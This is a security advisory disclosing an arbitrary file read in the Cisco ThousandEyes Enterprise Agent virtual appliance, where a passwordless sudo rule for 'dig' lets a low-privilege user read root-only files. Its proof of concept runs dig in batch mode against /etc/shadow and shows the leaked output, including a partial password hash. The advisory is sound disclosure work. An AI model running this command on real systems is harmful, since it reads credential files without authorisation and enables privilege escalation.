Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Read via sudo dig

Vulnerability Description

An insecure sudo configuration permits a low-privilege user to read root-only files via the ‘dig’ command without a password.

Technical Description

The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the ‘thousandeyes’ account. However, the ability to execute dig via sudo, allows for reading of arbitrary files using dig’s “batch” mode. This mode allows a user to specify a file of requests, one per line. The dig command will read the file with elevated privileges and display the resulting queries (i.e. file contents) back to the user.

  thousandeyes@thousandeyes-va:~$ id
  uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
  thousandeyes@thousandeyes-va:~$ sudo -l
  Matching Defaults entries for thousandeyes on thousandeyes-va:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

  User thousandeyes may run the following commands on thousandeyes-va:
      (ALL : ALL) ALL
      (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
          te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
          te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
          /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
          te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
      (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

Here we see that dig is available as root with no password,
and no restrictions on the arguments it can be passed.

  thousandeyes@thousandeyes-va:~$ sudo /usr/bin/dig -f /etc/shadow

  ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> root:!:19145:0:99999:7:::
  ;; global options: +cmd
  ;; Got answer:
  ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 40036
  ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

  ;; OPT PSEUDOSECTION:
  ; EDNS: version: 0, flags:; udp: 65494
  ;; QUESTION SECTION:
  ;root:!:19145:0:99999:7:::.	IN	A

  ;; Query time: 0 msec
  ;; SERVER: 127.0.0.53#53(127.0.0.53)
  ;; WHEN: Fri Mar 31 08:00:38 UTC 2023
  ;; MSG SIZE  rcvd: 54

  ; <<>> DiG 9.11.3-1ubuntu1.17-Ubuntu <<>> daemon:!*:18885:0:99999:7:::
  ;; Got answer:
  ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 32743
  ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

  ;; OPT PSEUDOSECTION:
  ; EDNS: version: 0, flags:; udp: 65494
  ;; QUESTION SECTION:
  ;daemon:!*:18885:0:99999:7:::.	IN	A
  ...
  ;thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.Fb...
  ...

Mitigation and Remediation Recommendation

The vendor has released a version which remediates the described vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-va-priv-esc-PUdgrx8E

Credit

This vulnerability was discovered by Jim Becher and Hank Leininger of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

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